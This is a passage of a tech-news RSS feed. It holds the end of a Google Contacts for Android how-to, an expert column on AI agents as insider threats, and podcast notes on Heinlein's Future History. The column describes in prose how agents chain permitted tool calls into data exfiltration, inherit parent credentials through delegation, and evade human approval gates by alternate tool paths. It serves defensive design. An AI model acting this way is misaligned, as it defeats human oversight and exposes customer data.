<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-02-accounts.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of accounts list in google contacts app" class="wp-image-4173347" width="1024" height="992" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app makes it easy to see contacts from individual accounts or all of your connected accounts together.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>If you tap the triangular three-line icon to the right of the “All contacts” dropdown, meanwhile, you’ll find a few filtering options that could be helpful as alternatives to the large search bar at the top of the screen — if, for instance, you need to find a contact and only know the name of their company but also can’t quite <em>think </em>of that company’s name and need a prompt. Tap that icon, select “Company,” and you’ll see a list of every company name in your contacts that you can scroll through and select to apply as a filter.</p>



<p>Finally, if you tap the outlined arrow-like shape to the left of the filter icon, you’ll see a list of any labels you’ve created for your contacts. Labels in Google Contacts work exactly like <a href="https://www.computerworld.com/article/1663877/how-to-use-gmail-labels-to-tame-your-inbox.html">labels in Gmail</a>: You can create as many as you like, and you can apply any number of labels onto any given contact. They’re less like folders, in other words, and more like stickers — or, y’know, <em>labels </em>— in that there’s no limit to how many any particular contact can have.</p>



<p>So why would you want to bother with labels, you might be wondering? Well, I’ll tell ya: They’re a splendid way to break that mess of mammals in your life down into specific, meaningful groups instead of always viewing ’em in one gigantic lump.</p>



<p>Maybe, for instance, you’d have a label called “Work” that includes everyone from your current company. And maybe you’d have a separate label called “Team” that’s even more narrow and shows only the people you directly work with. Maybe you’d have another label for clients, another for specific <em>subsets</em> of clients, and another for all the people in your life named Josh.</p>



<p>Once you do that initial organization, you’ll have an easy way to limit your view to only the individuals you need at any given moment — and you’ll gain a couple of other easily overlooked advantages, too, as we’ll explore further in a moment.</p>



<p>First, to apply a label onto a contact once you’ve created it:</p>



<ul class="wp-block-list">
<li>Tap the contact to open it.</li>



<li>Tap the pencil-shaped editing icon in its upper-right corner.</li>



<li>Scroll down and look for the “Labels” option.</li>



<li>Tap it, then select whichever label or labels you want to add onto that contact and tap “OK” to save.</li>
</ul>



<p>If you want to apply a label onto <em>multiple</em> contacts at the same time:</p>



<ul class="wp-block-list">
<li>Tap the label icon — that arrow-like shape we were just talking about a moment ago, on your main contacts list — then select the label you want to use.</li>



<li>Tap the icon that looks like an outline of a person with a plus sign next to it, in the upper-right corner of the screen, and then select whichever contacts you want to add into the label by tapping them all once.</li>



<li>When you’re finished selecting, tap the “Done” option in the upper-right corner of the screen, and all of the contacts you selected will be added in one fell swoop.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-03-label-add.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of a label and the contacts associated with it in google contacts app" class="wp-image-4173345" width="1024" height="334" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Once you open a specific label within the Android Contacts app, you can see everyone who’s associated with it and add in new contacts en masse.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Capisce? Capisce. Now, let’s move on to some even more advanced Android contacts goodness.</p>



<h2 class="wp-block-heading">Part III: Advanced Android contacts enhancements</h2>



<p>When you first tap a person’s name within the Google Contacts app on Android, you’ll see a screen with their profile appear.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-04-contact-profile.jpg?quality=50&amp;strip=all&amp;w=1016" alt="screenshot of a contact profile page in google contacts app" class="wp-image-4173351" width="1016" height="1024" sizes="auto, (max-width: 1016px) 100vw, 1016px"><figcaption class="wp-element-caption"><p>Anyone you store in your contacts on Android will have a custom profile that puts all your notes and info about them in a single place.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>A smattering of interesting features worth noting here:</p>



<ul class="wp-block-list">
<li>As of a <a href="https://www.computerworld.com/article/4042396/new-google-pixel-phone-features.html#:~:text=New%20Pixel%20Phone%20feature%20%231%3A%20Your%20custom%20calling%20card">relatively recent addition</a>, the Google Contacts app allows you create a custom calling card that adds a background image into the top of that person’s profile <em>and</em> controls exactly what you see on your screen anytime they call you. If you aren’t seeing a background image in this area already, as illustrated above, look for the option to add a calling card — which should appear in that same general space.</li>



<li>You can also <a href="https://theintelligence.com/42519/android-calling-card/" target="_blank" rel="noreferrer noopener">create your <em>own</em> custom calling card</a> that controls how <em>you</em> show up by default on <em>other</em> people’s devices — provided they’re also using the Google Contacts app on Android, of course — if you’re ever so inspired.</li>



<li>And if you’ve had any interactions with a contact, you’ll be able to see a quick overview of that activity in the “Recent activity” area beneath that — along with any notes you’ve created for the person within their contact profile.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-05-weather-activity-notes.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of contact details page in google contacts app - includes recent interactions and weather" class="wp-image-4173350" width="1024" height="984" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Your contacts’ profiles can contain all sorts of useful extras, ranging from an overview of your recent interactions with the person to a live look at the weather in their area.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>To edit a profile, as you’d probably guess, you’ll just tap the pencil-shaped editing icon in the upper-right corner of the screen.</p>



<p>And one more advanced Android contacts option worth mentioning: Directly next to that pencil icon, you’ll see a hollow star in the upper-right corner of every contact’s profile. You can tap that to fill the star in and mark that person as a favorite.</p>



<p>Doing so will have some significant effects:</p>



<ul class="wp-block-list">
<li>That person will always appear at the top of your contacts list.</li>



<li>They’ll also typically show up in a special, more prominent area of your Phone app for extra-easy access (and if they don’t, try <a href="https://play.google.com/store/apps/details?id=com.google.android.dialer" target="_blank" rel="noreferrer noopener">downloading the Google-made Phone app</a> and using it in place of whatever alternative your phone’s maker preinstalled in its place).</li>



<li>And they’ll be granted special privileges to reach you even when your phone is in Do Not Disturb mode, with the specifics depending on your preferences in that area of your system settings.</li>
</ul>



<h2 class="wp-block-heading">Part IV: Android contacts optimization</h2>



<p>One of the best features of the Google Contacts service is how easy it makes it to clean up and optimize your contacts collection.</p>



<p>From the Contacts app on your phone, tap the “Organize” tab at the bottom of the screen — then:</p>



<ul class="wp-block-list">
<li>Tap the “Merge &amp; Fix” option.</li>



<li>Look to see what suggestions the app gives you, then tap ’em one by one and follow the steps within.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-06-merge-and-fix.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of merge and fix screen in google contacts app" class="wp-image-4173346" width="1024" height="445" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app offers intelligent suggestions for quickly cleaning up your contacts.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Google Contacts will identify any instances where it looks like you’ve got two separate contact entries for the same person and then offer to quickly combine them for you. It’ll also let you know when it’s found more up-to-date contact info for anyone in your list. And it’ll offer to add in entries for anyone you email often but haven’t yet added.</p>



<p>Easy peasy, right?</p>



<p>And last but not least, for the virtual icing on your Android contacts cake…</p>



<h2 class="wp-block-heading">Part V: Android contacts actions</h2>



<p>Once you’ve gotten your contacts created, organized, and cleaned up properly, the Google Contacts app on Android has several advanced actions that are all too easy to miss.</p>



<ul class="wp-block-list">
<li>You can use the Contacts app as an efficient way to start a new group email or text message thread with any selection of people you want. Just make sure the people are all in the same label, then tap the label icon in the app’s upper-right corner and select the label. Next, tap the three-dot menu icon in the upper-right corner of the label screen and look for the “Send email” or “Send message” option.</li>



<li>The Contacts app can also serve as an all-in-one hub for initiating communication with anyone in your collection. Open someone’s profile, and you’ll see one-tap icons for calling them, texting them, emailing them, or starting a Google Meet video call with them — all without ever having to poke around in any other apps.</li>



<li>If you want even easier access to certain high-profile people, check out the Google Contacts widget options: Long-press on any open area of your home screen, select the option to add a widget, and then look for the Contacts section. There, you should see options for adding square-shaped widgets that show a person’s photo along with one-tap links for calling or texting them as well as simpler icon-like <em>shortcuts </em>for calling or texting a specific contact. In the latter case, you can add as many of those as you want onto your home screen and even drag ’em on top of each other once they’re there to create convenient folders.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-07-widget.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of google contacts widget on android home screen" class="wp-image-4173349" width="1024" height="397" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app’s widgets are a wonderful way to keep one-tap shortcuts for calling or messaging important people close by.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<ul class="wp-block-list">
<li>Speaking of calling convenience, if there’s a certain contact who calls you a little <em>too</em> often — an overly eager recruiter or maybe that blasted cousin of yours (come on, Carl!) — the Google Contacts app has an easy way to automatically route all of their calls directly to your voicemail. Just open the person’s profile within the app, then scroll down and look for the “Send to voicemail” option — or look a little lower for “Block numbers,” if you <em>really</em> never want to hear from them again.</li>



<li>In that same area of a contact profile is a speedy shortcut for setting a custom ringtone for any contact so it’s especially easy to identify them (or hide in the nearest underground bunker) whenever they call.</li>



<li>And don’t overlook the recently added “Reminders” section, where you can store dates like birthdays and anniversaries and create reminders around ’em, in addition to having ’em appear within the app itself.</li>
</ul>



<p>Last but not least, the real beauty of the Google Contacts setup on Android: It works equally well no matter what type of device you’re using.</p>



<p>On any phone you move into in the future, you can simply install the Google Contacts app, if it isn’t already in place, and all your stuff will instantly be there, synced, and available to you — no restoring required. And if you ever want to poke around or update your contacts from a computer, all you’ve gotta do is <a href="https://contacts.google.com/" rel="nofollow noopener" target="_blank">pull up the Google Contacts website</a> in any browser where you’re signed in.</p>



<p>So the Android contacts situation isn’t exactly straightforward, as you’ve seen. But once you get it under control, it absolutely <em>can </em>be easy and effective — and, with a teensy bit of advance planning, an important piece of your mobile productivity puzzle.</p>



<p><em>This article was originally published in November 2022 and updated in July 2026.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your next insider threat doesn’t have a badge. It has an API token]]></title>
<description><![CDATA[The threat that I now spend most of my time designing against doesn’t look like a breach at all. At least not at first.



Imagine a team deploys an agent that does exactly what it’s permitted to do: it reads a customer record, summarizes it, then sends the summary to an outside address. Every st...]]></description>
<link>https://tsecurity.de/de/3659328/it-nachrichten/your-next-insider-threat-doesnt-have-a-badge-it-has-an-api-token/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659328/it-nachrichten/your-next-insider-threat-doesnt-have-a-badge-it-has-an-api-token/</guid>
<pubDate>Fri, 10 Jul 2026 12:03:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The threat that I now spend most of my time designing against doesn’t look like a breach at all. At least not at first.</p>



<p>Imagine a team deploys an agent that does exactly what it’s permitted to do: it reads a customer record, summarizes it, then sends the summary to an outside address. Every step in the sequence is authorized. But it turns out that the breach is the sequence itself.</p>



<p>The problem is that each security check only looks at one step at a time. Is this read okay? Yes. Is this summary okay? Yes. Is this email okay? Yes. Each step passes. But nobody is watching the <em>combination</em> of all three steps together. The security tools designed for human-driven workflows assumed a person would be doing this manually, one thing at a time. However, the AI agent bundles it all into a single automated sequence, and that bundling slips through gaps between the checks.</p>



<p>I build authorization for agentic systems, and the gap between “every action was allowed” and “the outcome was a breach” is what I keep coming back to.</p>



<p>An agent is not a user or a file. It is an insider authorized with an API token instead of a badge to act on your behalf. We learned decades ago that perimeters don’t secure against insiders. But in the design reviews I’ve sat in this year, the security conversation still centers on prompt injection and output filtering. That’s one layer below where the exposure has moved.</p>



<h2 class="wp-block-heading">Two decades of asking the wrong two questions</h2>



<p>We spent 20 years getting very good at two questions:</p>



<ul class="wp-block-list">
<li>Who is allowed in?</li>



<li>What data is allowed out?</li>
</ul>



<p>Identity and access management answered the first question. Data loss prevention the second. Both assume a world of users and files—a human you authenticate at the door and a document you inspect on the way out. But production AI agents make both questions obsolete.</p>



<p>An agent is an actor. It reads context, chains tool calls, invokes connectors and changes systems of record, then hands work to other agents as it goes. The danger isn’t that it does one clearly forbidden thing; it’s that it does a series of small, permitted things that add up to something harmful. And because each individual action looks fine, the standard security tools don’t flag anything. It’s the same reason an employee with legitimate access is harder to catch than an outside hacker.</p>



<p>This is a known failure mode in IT security, sometimes called the confused deputy problem: a program with legitimate authority gets manipulated into misusing it on someone else’s behalf. Now, AI agents have given it initiative. An agent is a confused deputy that doesn’t just hold authority but plans with it. The <a href="https://genai.owasp.org/llmrisk/llm062025-excessive-agency/" rel="nofollow">OWASP community</a> ranks <a href="https://genai.owasp.org/llmrisk/llm062025-excessive-agency/" rel="nofollow">excessive agency</a>—an agent operating with broader capability than its task requires—among the top risks for large language model applications.</p>



<h2 class="wp-block-heading">The four ways agent authority goes wrong</h2>



<p>When I threat-model an agent before it ships, four failure modes do most of the damage, and the <a href="https://www.csoonline.com/article/4109123/managing-agentic-ai-risk-lessons-from-the-owasp-top-10.html">governance conversation</a> most teams are having addresses none of them.</p>



<ol start="1" class="wp-block-list">
<li><strong>Tool-chain abuse</strong>. Each tool call is safe on its own, but the chain composes into something no one authorized. The pattern is mundane: an agent permitted to read records, call a summarizer and send mail turns those three benign capabilities into a clean exfiltration path. Content filtering inspects each step and waves all of them through, because no single step is prohibited.</li>
</ol>



<ol start="2" class="wp-block-list">
<li><strong>Delegation-chain exploitation</strong>. An agent hands a subtask to another agent, and the child ends up with authority it was never meant to have. The mechanism is simple: the parent passes the child a copy of its own credentials, so the child can now do everything the parent can. Most orchestration frameworks pass parent context down by default because they assume the child is trusted. That’s a framework default, not a security decision.</li>
</ol>



<ol start="3" class="wp-block-list">
<li><strong>Approval evasion</strong>. A human-in-the-loop gate is supposed to catch the consequential action, but the agent reaches the same outcome by a path the rule didn’t anticipate. This isn’t agents being clever; it’s policies written for human workflows. A gate that checks “summarizing customer records” is blind to an agent reaching the same data by another tool path. In other words, it guards the actions humans take, not the outcome it was meant to protect.</li>
</ol>



<ol start="4" class="wp-block-list">
<li>The first three are <em>how</em> the breach happens. The fourth is <em>why</em> it becomes a crisis: <strong>audit opacity</strong>. Even after you discover something went wrong, you can’t piece together the full picture: what exactly the agent did, who authorized it to do those things or whether it went beyond what it was supposed to do. The logs simply show that reads and sends happened. Only in the post-incident review do teams discover their logs were written for debugging, not for proof.</li>
</ol>



<h2 class="wp-block-heading">Move the decision to runtime</h2>



<p>When these failure modes surface, the instinct is to add another detection layer, such as a better filter or a smarter classifier watching the output. That instinct is wrong. You can’t inspect your way out of a problem of authority. The answer is a runtime policy engine that governs what an agent is allowed to do at the moment it acts.</p>



<p>The concept isn’t new; it’s zero trust, applied inward. We spent years pushing <a href="https://csrc.nist.gov/pubs/sp/800/207/final" rel="nofollow">zero trust</a> outward to the perimeter for people and devices. Every request is authenticated and authorized in context, decided centrally rather than assumed at the edge. Agents move the object of that decision inward, from <em>who are you </em>at the door to <em>what will you do</em> in the next call.</p>



<p>A runtime policy engine makes that concrete. It evaluates which tool is being called, which data is being touched and what the downstream effect will be.</p>



<p>Three properties make it real:</p>



<ol start="1" class="wp-block-list">
<li><strong>Decide before the action fires</strong>. Evaluate the agent’s intended action against policy and live context at call time, not afterward in a log review. A policy that isn’t evaluated at the moment of action isn’t a control.</li>
</ol>



<ol start="2" class="wp-block-list">
<li><strong>Make delegated authority shrink</strong>. Authority should only narrow as it passes from agent to agent, never widen. That way, a compromised agent can’t exceed the narrowest link in its chain, and stopping a parent leaves no orphaned authority downstream. Capability can still be re-requested; a child can ask its parent to escalate, but that escalation is evaluated and logged at call time, not baked into a token handed over once.</li>
</ol>



<ol start="3" class="wp-block-list">
<li><strong>Build audit as evidence, not logs</strong>. Evidence means a record that ties each action to the policy that authorized it—principal, tool called, inputs, the rule evaluated, the decision and a timestamp—in append-only or signed storage so it can’t be quietly rewritten. It lets a regulator or a board reconstruct who acted, on whose authority and whether that authority was exceeded, instead of relying on a forensic reconstruction weeks later. Most deployments skip this because it’s infrastructure work, not policy work.</li>
</ol>



<p><strong>One implementation caveat</strong>: Evaluating every action at runtime adds latency and demands live policy context. Some friction is unavoidable, so the question is where you add it. Focus on the actions where a mistake is hardest to reverse: Anything touching customer data, financial systems or infrastructure.</p>



<h2 class="wp-block-heading">The three questions I ask before every deployment</h2>



<p>When a team brings me an agent bound for a real system of record, I’ve stopped asking which model it uses. I ask three things instead:</p>



<ol start="1" class="wp-block-list">
<li>Can every action resolve to a human source of authority, captured at runtime?</li>
</ol>



<ol start="2" class="wp-block-list">
<li>Does the agent’s authority shrink as it delegates, or can a subagent do more than its parent?</li>
</ol>



<ol start="3" class="wp-block-list">
<li>If this agent did something wrong tomorrow, could we prove what it did? (Not describe it. Prove it.)</li>
</ol>



<p>The autonomy that makes AI agents so valuable also makes legacy controls insufficient. You can’t add autonomous agents to your existing processes and expect last year’s controls to cover them. When an agentic breach happens, the question the board asks won’t be, “What leaked?” It will be, “What was your agent allowed to do, and can you prove it?”</p>



<p>Get ahead of it before the board has to ask.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4680: Robert A. Heinlein: The Future History, Part 2]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.
In his early days as a writer, Heinlein wrote his stories in the context of a shared universe that he called the Future History. These were mostly short stories at first, with the occasional novella. But they include some great stories.
The Future ...]]></description>
<link>https://tsecurity.de/de/3658424/podcasts/hpr4680-robert-a-heinlein-the-future-history-part-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658424/podcasts/hpr4680-robert-a-heinlein-the-future-history-part-2/</guid>
<pubDate>Fri, 10 Jul 2026 02:01:49 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>
<p>In his early days as a writer, Heinlein wrote his stories in the context of a shared universe that he called the Future History. These were mostly short stories at first, with the occasional novella. But they include some great stories.</p>
<h1 class="entry-title">The Future History, Part 2</h1>
						
<p>There were a few key themes running through Heinlein’s body of work. One we have already remarked upon, individual freedom, which had to be protected from any source of power, including both government and private corporations. This was essentially a libertarian perspective, but unlike many of today’s libertarians he was equally averse to the corporate type of power as a threat. But he had a complex view of the world which has resisted some attempts to pigeonhole him. He started out as a socialist, and while he didn’t remain one, he never became a knee-jerk reactionary either. In fact, he clearly despised them just as much. One way of looking at his body of work is that he explored the ramifications of different social policies through his stories, but in most cases the needs of a good story came first in the early years. In his later works he often surrendered to the temptation to pontificate, which reduced the enjoyment of them somewhat for anyone who was not already in agreement with his opinions</p>

<p>The second major theme you see throughout all of his works is the idea of the competent individual. He admired anyone who could do a job well, and clearly did not care whether they were man or woman, nor black or white. Alexei Panshin writes, in <a href="https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015" data-type="link" data-id="https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015" target="_blank" rel="noreferrer noopener">Heinlein in Dimension</a>: </p>

<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“There is one unique and vivid human Heinlein character, but he is a composite of Joe-Jim Gregory, Harriman, Waldo, Lazarus Long, Mr. Kiku, and many others, rather than any one individual.  I call the composite the Heinlein Individual.  . . .  It is a single personality that appears in three different stages and is repeated in every Heinlein book in one form or another.</p>

<p>“The earliest stage is that of the competent but naïve youngster. . . .  The second stage is the competent man in full glory, the man who knows how things work. . . .  The last stage is the wise old man who not only knows how things work, but why they work, too.”</p>
</blockquote>

<p>Harriman we have already encountered in <em>The Man Who Sold The Moon</em>, and the others appear later. The Heinlein Individual, as he is often referred to, appears in many of Heinlein’s stories.</p>

<p>A third major theme has to do with morality and religion. Heinlein grew up in what he considered the heart of the Bible Belt, in Missouri, and saw first-hand how the evangelical Christians operated, and despised what he saw. As someone who believed in individual freedom, he could never surrender to someone else’s idea of how he should live his life. He saw them as a danger to his ideal libertarian society, and this shows up very early in his work. He personified the good, upright, church-going folk as “Mrs. Grundy”, and while you might want to draw the drapes to keep her from knowing what you were doing, you should never let her dictate how you would live your life. Revolt in 2100 begins the exploration of this in detail.</p>

<p>There is a chart of the future history at <a href="https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm" data-type="link" data-id="https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm" target="_blank" rel="noreferrer noopener">Baen Books</a>, and in it we see that the 1960s were what Heinlein called The Crazy Years. (Remember, he conceived this in the 1940s and 1950s.) But in 2012 the major thing occurred when Nehemiah Scudder, a backwoods preacher, managed to get elected as President. This would be the last election held under the U.S. Constitution as he established a religious dictatorship that lasted a couple of generations. IS this plausible? Heinlein wrote about this:</p>

<p>“<em>As for … the idea that we could lose our freedom by succumbing to a wave of religious hysteria, I am sorry to say that I consider it possible. I hope that it is not probable. But there is a latent deep strain of religious fanaticism in this, our culture; it is rooted in our history and it has broken out many times in the past.</em></p>

<p><em>“It is with us now; there has been a sharp rise in strongly evangelical sects in this country in recent years, some of which hold beliefs theocratic in the extreme, anti-intellectual, anti-scientific, and anti-libertarian.</em>“</p>

<p>His background in the Bible Belt is what informs a lot of his thinking. He goes on to describe how this might happen:</p>

<p><em>“Throw in a Depression for good measure, promise a material heaven here on earth, add a dash of anti-Semitism, anti-Catholicism, anti-Negroism, and a good large dose of anti-“furriners” in general and anti-intellectuals here at home, and the result might be something quite frightening — particularly when one recalls that our voting system is such that a minority distributed as pluralities in enough states can constitute a working majority in Washington.”</em></p>

<p>As the science fiction author <a href="https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a" data-type="link" data-id="https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a" target="_blank" rel="noreferrer noopener">David Brin</a> points out, Heinlein accurately predicted much of what we are going through in the United States right now. There is an emerging dictatorship in the United States, promoted by right-wing religious groups. The “material heaven here on earth” is represented by the Prosperity Gospel, prominent in the Trump movement, and so on. Where the Prophet used a restored Ku Klux Klan as his muscle, we have The Proud Boys, and so on. It really does track very closely. Read David Brin’s article for more on this.</p>

<p>But nothing lasts forever. Empires rise and fall, governments change, and in this case a resistance movement arises. The revolt is depicted in the novella <em><a href="https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22" data-type="link" data-id="https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22" target="_blank" rel="noreferrer noopener">If This Goes On— (1940)</a></em>, and it is set in the year 2100, giving the title to the book. The main character is John Lyle, who is a young army officer assigned to the group protecting The Prophet in his capital of New Jerusalem. In the beginning he is thoroughly indoctrinated, but then begins to question his beliefs when he falls for one of The Prophet’s virgins, Sister Judith. He has an older companion in the military who is not only unshocked when John confides in him about his doubts, but offers to help him. It turns out this companion, Zeb Jones, is a member of the underground group called The Cabal that is working to overthrow the theocracy. In the end they are successful, and in the course of this John Lyle does a lot of growing up. In this we see another common characteristic of Heinlein stories: a young, naive boy meets up with an older and wiser man who helps him to grow.</p>

<p>In 2016 <em>If This Goes On—</em> won the Retro-Hugo Award for best novella of 1940. And in a personal note, I have T-shirt that says “Scudder for President 2012”. This baffles most people, but I enjoy the in-joke.</p>

<p>What is interesting in this book is that Heinlein doesn’t stop with a successful revolution. He then goes on in a second novella to describe the government that arose following the revolution, and this story is called <em><a href="https://en.wikipedia.org/wiki/Coventry_(short_story)" data-type="link" data-id="https://en.wikipedia.org/wiki/Coventry_(short_story)" target="_blank" rel="noreferrer noopener">Coventry (1940)</a></em>. The new government that arises after the revolution is called The Covenant, and it is an attempt to make sure that what happened with Scudder in 2012 could never happen again. It is a strongly libertarian government based on an agreement to be non-violent. In this society, scientists can cured criminal or violent tendencies, but any citizen convicted of such must agree to the treatment. The alternative to treatment is that they can be exiled to a place called Coventry. Coventry is outside of the Covenant society, and the Covenant society has nothing to do with them. </p>

<p>Our protagonist, David McKinnon, is convicted of assault, and chooses to go to Coventry instead of getting treatment. He imagines it is a peaceful anarchy, but is disabused of this notion when he is robbed of all of this possessions upon entry and thrown in jail. A fellow inmate, Fader Magee, helps him escape, and we learn he is an agent of the Covenant government. They learn that two of the factions in Coventry have joined forces, and found a way to break through the barrier that surrounds Coventry. They plan to attack and overthrow the Covenant government. David and Fader separately work to escape and get back to warn the Covenant government, which they do successfully. And by doing this, David has demonstrated that he is no longer a danger to the Covenant society and no longer subject to treatment.</p>

<p>This story won a <a href="https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees" data-type="link" data-id="https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees" target="_blank" rel="noreferrer noopener">Prometheus Hall of Fame Award</a>, which is awarded by the Libertarian Futurist Society. And the Covenant society certainly has libertarian features. But this is not the Randian version of libertarianism, as exemplified by the fact that David is restored to the society because he demonstrated his concern for others. Heinlein always promoted individual freedom, but also the idea that people have a responsibility towards others.</p>

<p>Finally, <em>Revolt in 2100</em> contains the short story <em>Misfit</em>, w2hich we have looked at previously.</p>

<p><em><a href="https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow" data-type="link" data-id="https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow" target="_blank" rel="noreferrer noopener">The Past Through Tomorrow (1967)</a></em> is a one volume collection of most of the Future history stories. I say most because just which stories belonged in this group could change from time to time. It also has the last version of the Chart of the Future History, and a few stories we have not yet mentioned (<em>Methusaleh’s Children</em>, and <em>The Menace From Earth</em>). And many of his other works contain back references to these events that imply that they might be set in the same alternate universe. Heinlein gets the last word on this:</p>

<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><em>“I have never been sure whether or not publishing that chart was a good idea or a bad mistake. Possibly it helped to sell some stories later—but certainly it caused me and still causes me to receive a lot nuisance mail from nitpickers. I have never felt bound by that chart; it was to serve me, not the other way around. If I found myself with a good story notion which fitted fairly well into the chart but not perfectly, I shed no tears—I went ahead and let the inconsistencies stand.</em></p>

<p><em>I want each story to be internally consistent . . . but I won’t let myself be painted into a corner through trying to fit that chart perfectly. I may start another “Future History” story tomorrow . . . and find that to make it a good yarn I must violate some item on that chart. I’ll give the nitpickers something to pick, for I will not hurt a good yarn for the sake of “logic”—logic is not involved, as that chart is fiction, not Holy Writ.”</em></p>
</blockquote>

<h3>Links:</h3>
<ul>
<li><a href="https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015">https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015</a></li>
<li><a href="https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm">https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm</a></li>
<li><a href="https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a">https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a</a></li>
<li><a href="https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22">https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22</a></li>
<li><a href="https://en.wikipedia.org/wiki/Coventry_(short_story)">https://en.wikipedia.org/wiki/Coventry_(short_story)</a></li>
<li><a href="https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees">https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees</a></li>
<li><a href="https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow">https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow</a></li>
<li><a href="https://www.palain.com/science-fiction/the-golden-age/robert-a-heinlein/the-future-history-part-2/">https://www.palain.com/science-fiction/the-golden-age/robert-a-heinlein/the-future-history-part-2/</a></li>
</ul>

<p><a href="https://hackerpublicradio.org/eps/hpr4680/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The enterprise AI challenge nobody solves with code generation alone]]></title>
<description><![CDATA[Presented by SAPGenerating code with AI is fast, but getting that code to run reliably inside a large enterprise, integrated with live systems, governed for compliance, and maintainable over years requires foundational work that most organizations underestimate. While 81% of all organizations hav...]]></description>
<link>https://tsecurity.de/de/3657798/it-nachrichten/the-enterprise-ai-challenge-nobody-solves-with-code-generation-alone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657798/it-nachrichten/the-enterprise-ai-challenge-nobody-solves-with-code-generation-alone/</guid>
<pubDate>Thu, 09 Jul 2026 19:02:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
